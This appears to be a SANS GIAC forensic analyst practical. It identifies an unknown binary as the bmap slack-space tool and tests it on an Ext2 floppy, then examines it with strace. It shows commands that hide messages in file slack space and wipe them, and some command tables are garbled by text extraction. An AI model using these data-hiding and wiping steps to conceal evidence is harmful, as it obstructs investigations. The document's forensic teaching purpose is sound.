Last Access: 2003-07-15 23:12:45.000000000 -0700 Last Modify: 2003-07-14 07:24:00.00000000 -0700 Last Change: 2003-07-15 23:05:33.000000000 -0700 File owners User: UID 502 Group: GID 502 MD5 hash 7b80d9aff486c6aa6aa3efa63cc56880 Key words/phrases associated with program/file: use block-list knowledge to perform special operations on files generate SGML invocation info generate man page and exit display version and exit

## **Program Description**

### What Type of Program is the 'prog' executable?

As previously established, our first test in analysis of the 'prog' executable is to use the file command. In order to fully comprehend the capabilities and limitations of file in it's ability to help us assess the nature of our unknown executable, we've prepared the following brief introduction.

file attempts to classify its arguments based upon 3 sets of tests in the following order (see file(1) Linux man page):

- file-system tests: the file command attempts to classify its argument based on this test first. This test is based upon return of an internal Linux system call (a way of interfacing with the Linux kernel to garner information). These tests are used to assess whether the file has any content, whether it is a special file used to maintain the operating system
- magic number tests: If classification isn't successful with the file-system tests, the magic number test is then attempted. These tests perform basic pattern recognition matching on bytes near the beginning of the file that are commonly used to discriminate program types. Most file types have a small bit of identical data somewhere near the beginning of the file that can be used for classification purposes.
- language tests: This is last resort for file to try after having failed to identify a classification based upon the 2 previous attempts.

Executing the file command against the unknown binary yielded the following results:

[forensics@GCFA floppy_image]# file ./prog	
prog: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV),	
for GNU/Linux 2.2.5, statically linked, stripped	

Let's spend a few moments to analyze file's classification of the unknown executable:

File information	Explanation
ELF 32-bit LSB executable	ELF stands for Executable and Linking Format <sup>1</sup> . ELF is a binary standards format for object files (the building blocks used in executable program construction). LSB stands for Linux Standard Base, LSB indicates compliance with an open source consortium who has developed standards with the intention of preventing divergence in binary file types among different Linux based operating systems <sup>2</sup> . 32 bit states that the executable was compiled for 32 bit processor architecture, as is the case on Intel®
Intel 80386	This states that the binary was compiled with optimizations for an Intel 80386 processor
version 1 (SYSV) for GNU/Linux 2.2.5	This states that version 1 of the object file version (part of the ELF specification)
statically linked	Static linking means that all required libraries necessary for program execution have been included in the executable.
stripped	Stripped indicates that the text names of the library functions have been stripped out of the binary.

We can infer from the above descriptions that the program is definitely a Linux executable. All of the details regarding ELF format essentially show us that the program compilation occurred on a modern Linux operating system.

The fact that the program was statically linked has some possibly relevant implications to the case. Static linking suggests that the person compiling and/or using the program might have planned on using the executable on multiple computers and did not want to worry about having all necessary libraries available on each machine. Nefarious hackers have been known to statically link their programs and copy these programs from system to system. The downside to statically linking a program is that it has to include all of the required libraries in the executable itself, which tends to significantly increase the size of the file. This downside typically isn't of major concern when the alternative is non-functionality on multiple system variations. In any case, the size of a statically linked file is much larger than that of a dynamically linked file. The size of the prog file substantiates the file command's claim.

#### What is prog used for?

Based upon the discovery that the unknown executable is really bmap, we can infer that it's purpose is simply that of the bmap utility. Bmap has the capability of performing operations on slack space of file-systems. To verify this, we download and build an instance of the bmap utility for testing purposes. By invoking the help option of bmap, we are able to see all of the possible utilizations of bmap (see below in document for compilation of bmap):

<pre>[forensics@GCFA bmap-1.0.20]# ./bmaphelp bmap:1.0.20 (11/29/03) newt@scyld.com Usage: bmap [OPTION] [<target-filename>]</target-filename></pre>	bmap is executed with the -
use block-list knowledge to perform special operations on files 🚫	help
<pre>doc VALUE where VALUE is one of: version display version and exit help display options and exit man generate man page and exit sgml generate SGML invocation info mode VALUE where VALUE is one of: map list sector numbers carve extract a copy from the raw device slack display data in slack space putslack place data into slack wipeslack wipe slack checkslack test for slack (returns 0 if file has slack) slackbytes print number of slack bytes available wipe wipe the file from the raw device frag display fragmentation information for the file checkfrag test for fragmentation (returns 0 if file is fragmented) outfile <filename> write output to label useless bogus option verbose be verbose log-thresh <none branch="" entryexit="" error="" fatal="" info="" progress=""  =""> logging threshold target <filename> operate on</filename></none></filename></pre>	argument.
Jan Jan Present de la	ŧ

To summarize, it is expected that the prog binary was possibly used to operate on data within the slack space of file-systems. Data may have been hidden, retrieved, or wiped from file-systems.

#### When was the last time it was used?

We can use the stat command to list each of the 3 times associated with a file in the Ext2 file-system.

[forens:	LCS@GCFA flo	ppy image]# stat ./	prog		
File:	`./prog'	—			
Size:	487476	Blocks: 960	IO Block: 4096	Regular	
File					
Device:	702h/1794d	Inode: 18	Links: 1		

#### Jason\_B\_Anderson\_GCFA

As part of GIAC practical repository.

```
Access: (0755/-rwxr-xr-x) Uid: ( 502/ UNKNOWN) Gid: ( 502/
UNKNOWN)
Access: 2003-07-15 23:12:45.00000000 -0700
Modify: 2003-07-14 07:24:00.00000000 -0700
Change: 2003-07-15 23:05:33.00000000 -0700
```

The Access time listed above represents the last time that the unknown executable was accessed. We know that the Access time for a file is updated due to a number of possible situations:

- The file was executed
- The file was read.
- The file was listed via a directory listing or a file-system search utility (Is, find)

Hence, we know that the file may have been executed on July 15<sup>th</sup>, 2003 at 11:12:45 pm MST.

# Step by step functionality analysis: Using the prog program to manipulate slack space

Initial assessment of the prog functionality is consistent with that of the bmap utility. At this stage in the analysis, it can be assumed that these programs are the same. Based upon the functionality of bmap and the documentation produced by the prog utility, it appears that we have a file system slack space manipulation program. At this point in the analysis, it would be beneficial to briefly review the structure of file-systems and illustrate the relationship between files and blocks to base further analysis upon.

Blocks are an organizational unit used by filesystems to store filesystem data and certain meta-data structures. The filesystem used by most Linux operating systems, including the one found on the floppy, is the Ext2 filesystem. The Ext2 filesystem creation uses a default block size of 4096 bytes/block. Block sizes can be selected at file-system creation time by the system administrator based upon the anticipate size of files in which the file-system is being created to hold. Options for block size are 1024, 2048, and 4096 bytes/block.

The operating system stores file data content in one or more blocks. For files smaller than 4096 bytes on a 4096 byte/block default configured ext2 Linux file-system, only one block is necessary for file content storage. For files larger than 4096 bytes, the number of blocks necessary for file storage can be determined by the dividing the File size (in bytes) by 4096 bytes/block, rounding up to the next integer block count<sup>2</sup>. As an example, for a 15000 byte file, the blocks required for storage would be 3.6621 blocks, which rounds up to 4 blocks. We know that 4-3.6621, or .337 blocks, is equal to 1384 bytes. 1384 bytes would be unused in the 4<sup>th</sup> block. These 1384 bytes in the last block are conventionally referred to as slack space, and are not available to the file-system for utilization, and are unavailable to the user without special tools, such as bmap, or in our case, the prog executable. The following diagram graphically represents the allocation of data among the 4 allocated blocks.

#### Block Allocation for a 15000 byte file on a 4096 byte/block Linux Ext2 Filesystem.



The purpose of the prog executable is to store and retrieve data in unallocated slack space. As we can see in the above diagram, 4095 bytes is the maximum amount of data that can be stored in the slack space on a Ext2 filesystem configured for 4096 bytes/block. This special case would be when a file's size was only 1 byte greater than some multiple of 4096 bytes. At the least, only one byte of slack space would be available for files whose last block contained 4095 bytes of data.

The limitations of the slack space pose implications to the amount of data that may be hidden within slack space. We can see that one cannot continuously store files greater than 4kb within slack space with the prog executable. This realistically limits the amount of data that can be hidden by the prog executable to small files, such as text files. We will examine the contents of the slack space on the floppy image later in the analysis.

For this section of the analysis, we will evaluate the effectiveness of the prog utility in storage and retrieval of data from slack space. Analysis of the prog executable's functionality will be broken up into 3 phases:

Basic Analysis(trivial file): analysis will be dedicated to testing all of the prog executables '—mode' functionalities on a simple file. An effort will be made here to gain a solid understanding of how different invocations of the prog executable can be used to create, get, and delete data from a partially filled data block.

Small File Analysis(less than 4096 bytes): analysis will be dedicated to testing all of the prog executables '—mode' functionalities on a file that fills exactly 25% of the block space for 1 block(4096 bytes). Data will be written to fill the remainder of the slack space for this block with the 'prog –mode p,' or slack space data placement invocation. The data will then be retrieved from slack space using the 'prog –mode s,' or slack space data retrieval invocation. The byte counts of all actions will be considered and used to verify the functionality of the prog executable.

Large File Analysis (greater than 4096 bytes): This analysis will do everything performed in the Small File Analysis on a file that spans multiple blocks. This effort will be made in order to test the functionality and characteristics of manipulating data in slack space on the blocks dedicated to files larger than 1 block.

[forensics@GCFA floppy]# echo "This is a short file" >	Here we create a
short file	trivially small text
	file this requires 1
	TITE, CHIS TEQUITES T
	block to be dedicated,
	even though most will
	be slack space.
[forensics@GCFA floppy]# is -i short file	Here we see that the
	Cite we see chat the
-rw-rr i root root 21 Jan 5 00:41	file is only 21 bytes
short_file	long, this infers that
	the block has 4096-21
	bytes left, or 4075
	bytes of slack space
	Byccs of Stack Space.
[forensics@GCFA floppy]# ./prog -chk ./short_file -v	This appears to be a
./short_file does not have slack	prog bug. We know from
	the previous analysis
	that slack does exist
[forensics@GCFA floppy]# ./prog -checkfrag ./short_file -v	This makes sense, as
./short_file does not have fragmentation	only one block is
	dedicated to slack,
	there is no chance for
	non-contiguous blocks
	non conciguous biocks,
	1.e., fragmentation
[forensics@GCFA floppy]# ./prog -frag ./short_file -v	Another apparent bug
	with the prog utility,
	no STDOUT or STDERR
	no bibooi of bibbint
	recurned.
[forensics@GCFA floppy]# ./prog -sb ./short_file -v	As determined before,
4075	4075 bytes of slack is
	available for data
	hiding
	The second se
[IOTENSICS@GCFA ILOPPY]# ./prog -m ./snort_Ille -V	Here we see utilize the
202651248	-m argument to see the
202651249	sector numbers
202651250	associated with the
202651251	file This option
	iiic. iiis opeioii
202651252	appears to be for
202651253	informational purposes
202651254	only.
202651255	
[forensics@GCFA floppy]# (prog -s (short file -y	Here we verify that no
acting from block 25221406	data is already stared
getting from block 25351406	data is alleady stored
file size was: 21	in the slack space.
slack size: 4075	
block size: 4096	
[forensics@GCFA_floppy]# echo_"Secret_message_destined_for_slack	Here we pipe input to
ange in (short file") (prog -n (short file -w	the clock space of the
space in ./short_life _//prog p ./short_life _v	che stack space of the
stuffing block 25331406	Ille.
file size was: 21	
slack size: 4075	
IDLOCK SIZE: 4096	
DIOCK SIZE: 4096	
DLOCK SIZE: 4096	77
[forensics@GCFA floppy]# ./prog -s ./short_file -v	Here we attempt to
<pre>block size: 4096 [forensics@GCFA floppy]# ./prog -s ./short_file -v getting from block 25331406</pre>	Here we attempt to retrieve the data we
<pre>block size: 4096 [forensics@GCFA floppy]# ./prog -s ./short_file -v getting from block 25331406 file size was: 21</pre>	Here we attempt to retrieve the data we stored to slack space,
<pre>[forensics@GCFA floppy]# ./prog -s ./short_file -v getting from block 25331406 file size was: 21 slack size: 4075</pre>	Here we attempt to retrieve the data we stored to slack space, after the informational
<pre>block size: 4096 [forensics@GCFA floppy]# ./prog -s ./short_file -v getting from block 25331406 file size was: 21 slack size: 4075 block size: 4096</pre>	Here we attempt to retrieve the data we stored to slack space, after the informational data on file size
<pre>block size: 4096 [forensics@GCFA floppy]# ./prog -s ./short_file -v getting from block 25331406 file size was: 21 slack size: 4075 block size: 4096 Common distinct for place successing (above file)</pre>	Here we attempt to retrieve the data we stored to slack space, after the informational data on file size,

#### **Basic Analysis**

Jason\_B\_Anderson\_GCFA

© SANS Institute 2004,

As part of GIAC practical repository.

	size, our hidden data is retrieved.
<pre>[forensics@GCFA floppy]# ./prog -c ./short file -v &gt; secret data</pre>	Here we use the -c
	argument to copy the hidden slack space data
	to the secret_data file
[forensics@GCFA floppy]# cat secret_data Secret message destined for slack space in /short file	Here we examine the
Secret message describer for stack space in ./ short_rife	secret data file, as
	expected, our hidden
[forensics@GCFP floppy]# /prog -w /short file -v	Message is displayed.
stuffing block 25331406	functionality of the
file size was: 21	prog utility, we see 3
slack size: 40/5 block size: 4096	apparent write errors arise
write error	
write error	
write error	
[forensics@GCFA floppy]# ./prog -s ./short_file -v	Here we test the
getting from block 25331406	success of the previous
slack size: 4075	though the wipe command
block size: 4096	returned errors, it
	appears to have wiped,
	slack space data
	successfully.
[forensics@GCFA floppy]# ls -l short_file -rw-rr 1 root root 21 Jan 5 00.44	Here we verify that no
short file	the original file have
	occurred.
[forensics@GCFA floppy]# echo "Secret message destined for slack space in ./short file"[./prog -p ./short file -v	Here we re-write data again to slack space
stuffing block 25331406	
file size was: 21	
block size: 4096	
<pre>[forensics@GCFA floppy]# Is -1 short file -rw-rr 1 root root 21 Jan 5 00:44</pre>	We verify that the file size has not changed
short_file	
[forensics@CCED_floppult_att_/chort_file	We verify the content:
This is a short file	of the file
[forensics@GCFA floppy]# ./prog -s ./short file -v	We retrieve the data
getting from block 25331406	from slack space
file size was: 21	
block size: 4096	
Secret message destined for slack space in ./short_file	
[forensics@GCFA floppy]# /prog =c /short file =v>secret data	We copy the slack space
lioionoioooon iioppyjm ./prog C ./onoit_liie v/oeclet_data	data to another file
[forensics@GCFA floppy]# ls -1 secret data	The size of the file is
-rw-rr 1 root root 4096 Jan 5 00:45	much larger than
secret_data	expected, it appears
	copies null characters
	to round out the output
	to 4096 bytes.

We have explored all functionality of the prog utility in the basic file analysis section. We tested the '-m list sector numbers,' '-c extract a copy from the raw device,' '-s display

data,' '-p place data,' and '-w wipe' functionality. We were able to identify two possible bugs with the –w and –frag options, though neither seemed to inhibit the core functionality of the prog utility.

#### **Small File Analysis**

[forensics@GCFA floppy]# while true; do echo -n '0'; done] dd of=./data bs=1 count=1024 1024+0 records in 1024+0 records out 4096Here we create a 1024 byte file filed with zeroes.[forensics@GCFA floppy]# ls -1 data -rw-rr l root root 1024 Jan 4 23:54 dataHere we ensure that the file size is 1024 bytes via use of the ls command with the -1 list argument[forensics@GCFA floppy]# ./progchk ./data ./data does not have slackHere we invoke the prog binary with the[forensics@GCFA floppy]# ./progcheckfrag ./data ./data does not have fragmentationAgain, this makes sense, as only one block is dedicated to slack, there is no chance for non- contiguous blocks, i.e., fragmentation[forensics@GCFA floppy]# ./progsb ./dataHere we add the slack space predicted to be available by the prog
1024+0 records out         4096         [forensics@GCFA floppy]# ls -1 data         -rw-rr- 1 root root 1024 Jan 4 23:54 data         //dta does not have slack         [forensics@GCFA floppy]# ./progchk ./data         ./data does not have slack         [forensics@GCFA floppy]# ./progcheckfrag ./data         ./data does not have fragmentation         Adata does not have fragmentation         Iforensics@GCFA floppy]# ./progsb ./data         ./data         Bere we see that prog         finds 3072         Iforensics@GCFA floppy]# let sum=3072+1024; echo \$sum         Apain Here we add the slack         space predicted to be available by the prog
[forensics@GCFA floppy] # 1s -1 dataHere we ensure that the file size is 1024 bytes via use of the 1s command with the -1 list argument[forensics@GCFA floppy] # ./progcheckfrag ./dataHere we invoke the prog binary with the[forensics@GCFA floppy] # ./progcheckfrag ./dataAgain, this makes sense, as only one block is dedicated to slack, there is no chance for non- contiguous blocks, i.e., fragmentation[forensics@GCFA floppy] # ./progsb ./dataHere we add the slack[forensics@GCFA floppy] # ./progsb ./dataHere we add the slack
-rw-rr1 rootroot1024 Jan4 23:54 datafile size is 1024 bytes via use of the 1s command with the -1 list argument[forensics@GCFA floppy]# ./progchk ./data ./data does not have slackHere we invoke the prog binary with the[forensics@GCFA floppy]# ./progcheckfrag ./data ./data does not have fragmentationAgain, this makes sense, as only one block is dedicated to slack, there is no chance for non- contiguous blocks, i.e., fragmentation[forensics@GCFA floppy]# ./progsb ./dataHere we see that prog finds 3072 bytes of slack space availabe[forensics@GCFA floppy]# let sum=3072+1024; echo \$sumHere we add the slack space predicted to be available by the prog
via use of the ls command with the -1 list argument[forensics@GCFA floppy]# ./progchk ./dataHere we invoke the prog binary with the./data does not have slackAgain, this makes sense, as only one block is dedicated to slack, there is no chance for non- contiguous blocks, i.e., fragmentation[forensics@GCFA floppy]# ./progsb ./dataHere we see that prog finds 3072 bytes of slack space availabe[forensics@GCFA floppy]# let sum=3072+1024; echo \$sumHere we add the slack space predicted to be available by the prog
command with the -1[forensics@GCFA floppy]# ./progchk ./dataHere we invoke the prog./data does not have slackbinary with the[forensics@GCFA floppy]# ./progcheckfrag ./dataAgain, this makes./data does not have fragmentationsense, as only oneblock is dedicated to slack, there is no chance for non- contiguous blocks, i.e., fragmentation[forensics@GCFA floppy]# ./progsb ./dataHere we see that prog3072finds 3072 bytes of slack space availabe[forensics@GCFA floppy]# let sum=3072+1024; echo \$sumHere we add the slack space predicted to be available by the prog
Ist argument[forensics@GCFA floppy]# ./progchk ./dataHere we invoke the prog binary with the[forensics@GCFA floppy]# ./progcheckfrag ./dataAgain, this makes sense, as only one block is dedicated to slack, there is no chance for non- contiguous blocks, i.e., fragmentation[forensics@GCFA floppy]# ./progsb ./dataHere we see that prog finds 3072 bytes of slack space available[forensics@GCFA floppy]# let sum=3072+1024; echo \$sumHere we add the slack space predicted to be available by the prog
<pre>Iforensics@GCFA floppy]# ./progchk ./data ./data does not have slack [forensics@GCFA floppy]# ./progcheckfrag ./data ./data does not have fragmentation /data does not have fragmentation //data does not ha</pre>
<pre>./data does not have slack [forensics@GCFA floppy]# ./progcheckfrag ./data ./data does not have fragmentation Again, this makes sense, as only one block is dedicated to slack, there is no chance for non- contiguous blocks, i.e., fragmentation [forensics@GCFA floppy]# ./progsb ./data 3072 [forensics@GCFA floppy]# let sum=3072+1024; echo \$sum [forensics@GCFA floppy]# let sum=3072+1024; echo \$sum</pre>
[forensics@GCFA floppy]# ./progcheckfrag ./dataAgain, this makes sense, as only one block is dedicated to slack, there is no chance for non- contiguous blocks, i.e., fragmentation[forensics@GCFA floppy]# ./progsb ./data 3072Here we see that prog finds 3072 bytes of slack space availabe[forensics@GCFA floppy]# let sum=3072+1024; echo \$sumHere we add the slack space predicted to be available by the prog
[forensics@GCFA floppy]# ./progcheckfrag ./dataAgain, this makes sense, as only one block is dedicated to slack, there is no chance for non- contiguous blocks, i.e., fragmentation[forensics@GCFA floppy]# ./progsb ./data 3072Here we see that prog finds 3072 bytes of slack space availabe[forensics@GCFA floppy]# let sum=3072+1024; echo \$sumHere we add the slack space predicted to be available by the prog
<pre>./data does not have fragmentation ./data does not have fragmentation sense, as only one block is dedicated to slack, there is no chance for non- contiguous blocks, i.e., fragmentation [forensics@GCFA floppy]# ./progsb ./data 3072 [forensics@GCFA floppy]# let sum=3072+1024; echo \$sum [forensics@GCFA floppy]# let sum=3072+1024; echo \$sum ] Here we add the slack space predicted to be available by the prog</pre>
block is dedicated to slack, there is no chance for non- contiguous blocks, i.e., fragmentation [forensics@GCFA floppy]# ./progsb ./data 3072 [forensics@GCFA floppy]# let sum=3072+1024; echo \$sum [forensics@GCFA floppy]# let sum=3072+1024; echo \$sum Here we add the slack space predicted to be available by the prog
slack, there is no chance for non- contiguous blocks, i.e., fragmentation[forensics@GCFA floppy]# ./progsb ./dataHere we see that prog finds 3072 bytes of slack space availabe[forensics@GCFA floppy]# let sum=3072+1024; echo \$sumHere we add the slack space predicted to be available by the prog
chance for non- contiguous blocks, i.e., fragmentation[forensics@GCFA floppy]# ./progsb ./dataHere we see that prog finds 3072 bytes of slack space availabe[forensics@GCFA floppy]# let sum=3072+1024; echo \$sumHere we add the slack space predicted to be available by the prog
contiguous blocks, i.e., fragmentation[forensics@GCFA floppy]# ./progsb ./dataHere we see that prog finds 3072 bytes of slack space availabe[forensics@GCFA floppy]# let sum=3072+1024; echo \$sumHere we add the slack space predicted to be available by the prog
i.e., fragmentation[forensics@GCFA floppy]# ./progsb ./data3072Ginds 3072 bytes of slack space availabe[forensics@GCFA floppy]# let sum=3072+1024; echo \$sumHere we add the slack space predicted to be available by the prog
<pre>[forensics@GCFA floppy]# ./progsb ./data 3072 Ginds 3072 bytes of Slack space availabe [forensics@GCFA floppy]# let sum=3072+1024; echo \$sum Here we add the slack space predicted to be available by the prog</pre>
3072 [forensics@GCFA floppy]# let sum=3072+1024; echo \$sum Here we add the slack space predicted to be available by the prog
[forensics@GCFA floppy]# let sum=3072+1024; echo \$sum Here we add the slack space predicted to be available by the prog
[forensics@GCFA floppy]# let sum=3072+1024; echo \$sum Here we add the slack space predicted to be available by the prog
space predicted to be available by the prog
available by the prog
utility(3072 bytes) to
the size of the
file(1024 bytes),
showing that the sum is
Line size of the
expected.

The small file analysis shows us that the prog utility is accurately calculating the amount of available slack space for a file that only partially fills one block.

Large File Analysis

<pre>[forensics@GCFA floppy]# while true; do echo -n '0'; done  dd of=./data2 bs=1 count=15000 15000+0 records in 15000+0 records out</pre>	Here we create a 15000 byte file, filled with zeroes
<pre>[forensics@GCFA floppy]# ls -l big_data_file -rw-rr 1 root root 15000 Jan 5 14:54 big_data_file</pre>	We verify the size of our file.
<pre>[forensics@GCFA floppy]# ./progmode=chk ./big_data_file -v ./big_data_file does not have slack</pre>	We again see an apparent bug with the prog utility, which tells us that no slack space exists for the file, even though we know that 1384 bytes

As part of GIAC practical repository.

	exist in the 4 <sup>th</sup> allocated block
<pre>[forensics@GCFA floppy]# ./progmode=checkfrag ./big_data_file</pre>	Here we see that the
-v ./big_data_file does not have fragmentation	file system did not need to fragment the blocks, likely due to the relatively small number of necessary blocks, likely stored in the same block group <sup>3</sup>
<pre>[forensics@GCFA floppy]# ./progmode=sb ./big_data_file -v 1384</pre>	As expected, 1384 bytes of slack are available for data storage.
<pre>[forensics@GCFA floppy]# ./progmode=s ./big_data_file -v getting from block 3535893 file size was: 15000 slack size: 1384 block size: 4096</pre>	Here we verify that no data already exists in slack space of the 4 <sup>th</sup> block.
<pre>[forensics@GCFA floppy]# while true; do echo -n "x";done  ./prog mode=p ./big_data_file -v stuffing block 3535893 file size was: 15000 slack size: 1384 block size: 4096</pre>	Here we copy x'es to the slack space in the 4 <sup>th</sup> block, prog successfully copies 1384 x'es to the slack space in the 4 <sup>th</sup> block before exiting
<pre>[forensics@GCFA floppy]# ./progmode=s ./big_data_file -v &gt; output getting from block 3535893 file size was: 15000 slack size: 1384 block size: 4096</pre>	Here we retrieve the data from slack space and store it to the output file
[forensics@GCFA floppy] <b># ls -l output</b> -rw-rr 1 root root 1384 Jan 5 14:56 output	Here we determine the length of the output file, it is consistent with previous calculations.
[forensics@GCFA floppy]# wc output 0 1 1384 output	Here we re-verify with the wc command. 1384 bytes exist in the output file, as expected.

In the large file analysis, we see that the prog utility acts as expected with regards to identification of 1384 bytes of slack space in the 4<sup>th</sup> allocated block for the big\_data\_file file. We also see the bug with the 'chk' and 'frag' arguments as noted before.

This concludes the functionality analysis. In summary, we have tested and verified all documented functionality of the prog utility. We have also identified 3 bugs in the 'frag' functionality, which does not display fragmentation information, as advertised in the documentation, we verified that that the 'chk' option does not accurately identify available slack space, and lastly we identified what appears to be a benign error in the wipe function, which seems to wipe the slack space hidden data successfully, even though it returns write errors to the STDOUT stream. Basically we see that the prog utility is quite capable of both storing and retrieving hidden data from slack space on a Linux Ext2 filesystem.

# Step by step functionality analysis: Observing prog's system calls with the strace utility

For analysis purposes, the prog binary may be considered a black box. As with observation of any black box, an effective means of analysis is to consider the input/output. As with most modern operating systems, Linux and other Unix executables must interact with the Operating System kernel to access system resources, including network hardware, hard-disks, processors, memory, etc<sup>4</sup>. Linux and Unix are designed to facilitate this interaction through the use of interactions called 'system calls'. System calls are actions taken by programs to interface with the operating system kernel to use system resources. The operating system kernel is a piece of software whose purpose, among other things, is to provide a software interface to the computer systems hardware components for system applications.

Strace is a Unix utility designed to trace the system call actions associated with a program at the user/kernel boundary(see strace(1) Linux man page). It is highly useful to the forensics analyst as a tool to analyze system calls taken by unknown binaries. Strace effectively monitors the unknown binary's interaction with the rest of the computer.

Strace Option	Explanation
-o output_file	This option tells strace to write the output to a file called output_file
-r	This option prints a time-stamp of each system call relative to the beginning of the program.
-s 10000	This option ensures that strings will be printed up to 10000 characters. Strings longer than that will be truncated. This is necessary due to fact that the default string truncation limit is 32 characters.
-v	This option ensures that all system call details will be presented in the output file, instead of a more brief abbreviation
./prog <arguments></arguments>	This represents the command line invocation of the prog binary. The <arguments> will likely need to be modified to get an understanding of how the program behaves with different options.</arguments>

We will employ strace with the following arguments:

Next, we will study the strace output for each of the slack space operations performed in the previous section entitled 'Large File Analysis'

strace -r -v -x -s 10000 -o strace.prog.checkfrag ./prog mode=checkfrag ./big_data_file -v	Description
0.000000 execve("./prog", ["./prog", "mode=checkfrag",	The shell executes the
"./big_data_file", "-v"], [/* 24 vars */]) = 0	program

0.000369 fcntl64(0, F_GETFD) = 0	Attach to standard file-
0.000188  fcntl64(1, F GETFD) = 0	descriptors STDIN (0).
0.000056  fcntl 64/2  F GETED = 0	STDOUT (1) STDERR
$(2, 1 _ OE 11 D) = 0$	(2)
0.000087 uname({sysname="Linux", nodename="GCFA",	Understand system
release="2.4.20-8", version="#1 Thu Mar 13 17:54:28 EST 2003",	specifications via uname
machine="i686"}) = 0	system call
0.000262  acteuid (32/) = 0	Get user/aroun identity
0.000052  getuid (32/) = 0	information
0.000032  getaid (22) = 0	internation
0.000049  geteglus() = 0	6 <b></b> •
0.000046  getgld 32() = 0	
0.000086  brk(0) = 0x80 bedec	Set end of data
0.000063  brk(0x80bee0c) = 0x80bee0c	segments (see brk(2)
0.000053  brk(0x80bf000) = 0x80bf000	Linux man page)
0.000056  brk(0x80c0000) = 0x80c0000	1 3 /
0.000198 letat6/(" /big. data. filo". (ct. day-makaday/2.65)	Letat gate state info for
$0.000100151al04(.)Dig_uala_lile, {Si_uev=Intakeuev(3, 03), at inc. 12665162 at mode S_IEDEC0644 at nlink 1 at uid 0$	the symbolic link
st_ino=12005163, st_mode=5_IFREG 0644, st_mink=1, st_uid=0,	the symbolic link
st_gid=0, st_blksize=4096, st_blocks=32, st_size=15000,	
st_atime=2004/01/05-00:27:59, st_mtime=2004/01/05-15:21:04,	
st_ctime=2004/01/05-15:21:04}) = 0	
0.000606 open("./big data file". O RDONLYIO LARGEFILE) = 3	Opens the file to file
0.000606 open("./big_data_file", O_RDONLY O_LARGEFILE) = 3	Opens the file to file descriptor 3
0.000606 open("./big_data_file", O_RDONLY O_LARGEFILE) = 3	Opens the file to file descriptor 3
0.000606 open("./big_data_file", O_RDONLY O_LARGEFILE) = 3	Opens the file to file descriptor 3
0.000606 open("./big_data_file", O_RDONLY O_LARGEFILE) = 3 0.000098 ioctl(3, FIGETBSZ, 0xbffff0c4) = 0	Opens the file to file descriptor 3 Issues FIGETBSZ
0.000606 open("./big_data_file", O_RDONLY O_LARGEFILE) = 3 0.000098 ioctl(3, FIGETBSZ, 0xbffff0c4) = 0 0.000096 ioctl(3, FIGETBSZ, 0xbffff034) = 0	Opens the file to file descriptor 3 Issues FIGETBSZ request code on 2
0.000606 open("./big_data_file", O_RDONLY O_LARGEFILE) = 3 0.000098 ioctl(3, FIGETBSZ, 0xbffff0c4) = 0 0.000096 ioctl(3, FIGETBSZ, 0xbffff034) = 0	Opens the file to file descriptor 3 Issues FIGETBSZ request code on 2 memory addresses on
0.000606 open("./big_data_file", O_RDONLY O_LARGEFILE) = 3 0.000098 ioctl(3, FIGETBSZ, 0xbffff0c4) = 0 0.000096 ioctl(3, FIGETBSZ, 0xbffff034) = 0	Opens the file to file descriptor 3 Issues FIGETBSZ request code on 2 memory addresses on file descriptor 3
0.000606 open("./big_data_file", O_RDONLY O_LARGEFILE) = 3 0.000098 ioctl(3, FIGETBSZ, 0xbffff0c4) = 0 0.000096 ioctl(3, FIGETBSZ, 0xbffff034) = 0 0.000068 brk(0x80c2000) = 0x80c2000	Opens the file to file descriptor 3 Issues FIGETBSZ request code on 2 memory addresses on file descriptor 3 Sets end of data
0.000606 open("./big_data_file", O_RDONLY O_LARGEFILE) = 3 0.000098 ioctl(3, FIGETBSZ, 0xbffff0c4) = 0 0.000096 ioctl(3, FIGETBSZ, 0xbffff034) = 0 0.000068 brk(0x80c2000) = 0x80c2000	Opens the file to file descriptor 3 Issues FIGETBSZ request code on 2 memory addresses on file descriptor 3 Sets end of data segments(see brk(2)
0.000606 open("./big_data_file", O_RDONLY O_LARGEFILE) = 3 0.000098 ioctl(3, FIGETBSZ, 0xbffff0c4) = 0 0.000096 ioctl(3, FIGETBSZ, 0xbffff034) = 0 0.000068 brk(0x80c2000) = 0x80c2000	Opens the file to file descriptor 3 Issues FIGETBSZ request code on 2 memory addresses on file descriptor 3 Sets end of data segments(see brk(2) Linux man page)
0.000606 open("./big_data_file", O_RDONLY O_LARGEFILE) = 3 0.000098 ioctl(3, FIGETBSZ, 0xbffff0c4) = 0 0.000096 ioctl(3, FIGETBSZ, 0xbffff034) = 0 0.000068 brk(0x80c2000) = 0x80c2000	Opens the file to file descriptor 3 Issues FIGETBSZ request code on 2 memory addresses on file descriptor 3 Sets end of data segments(see brk(2) Linux man page)
0.000606 open("./big_data_file", O_RDONLY O_LARGEFILE) = 3 0.000098 ioctl(3, FIGETBSZ, 0xbffff0c4) = 0 0.000096 ioctl(3, FIGETBSZ, 0xbffff034) = 0 0.000068 brk(0x80c2000) = 0x80c2000 0.000083 ioctl(3, FIBMAP, 0xbffff0c4) = 0	Opens the file to file descriptor 3 Issues FIGETBSZ request code on 2 memory addresses on file descriptor 3 Sets end of data segments(see brk(2) Linux man page) Sends FIBMAP request
0.000606 open("./big_data_file", O_RDONLY O_LARGEFILE) = 3 0.000098 ioctl(3, FIGETBSZ, 0xbffff0c4) = 0 0.000096 ioctl(3, FIGETBSZ, 0xbffff034) = 0 0.000068 brk(0x80c2000) = 0x80c2000 0.000083 ioctl(3, FIBMAP, 0xbffff0c4) = 0 0.000066 ioctl(3, FIBMAP, 0xbffff0c4) = 0	Opens the file to file descriptor 3 Issues FIGETBSZ request code on 2 memory addresses on file descriptor 3 Sets end of data segments(see brk(2) Linux man page) Sends FIBMAP request code to 2 memory
0.000606 open("./big_data_file", O_RDONLY O_LARGEFILE) = 3 0.000098 ioctl(3, FIGETBSZ, 0xbffff0c4) = 0 0.000096 ioctl(3, FIGETBSZ, 0xbffff034) = 0 0.000068 brk(0x80c2000) = 0x80c2000 0.000083 ioctl(3, FIBMAP, 0xbffff0c4) = 0 0.000066 ioctl(3, FIBMAP, 0xbffff0c4) = 0 0.000058 ioctl(3, FIBMAP, 0xbffff0c4) = 0	Opens the file to file descriptor 3 Issues FIGETBSZ request code on 2 memory addresses on file descriptor 3 Sets end of data segments(see brk(2) Linux man page) Sends FIBMAP request code to 2 memory address 2 different
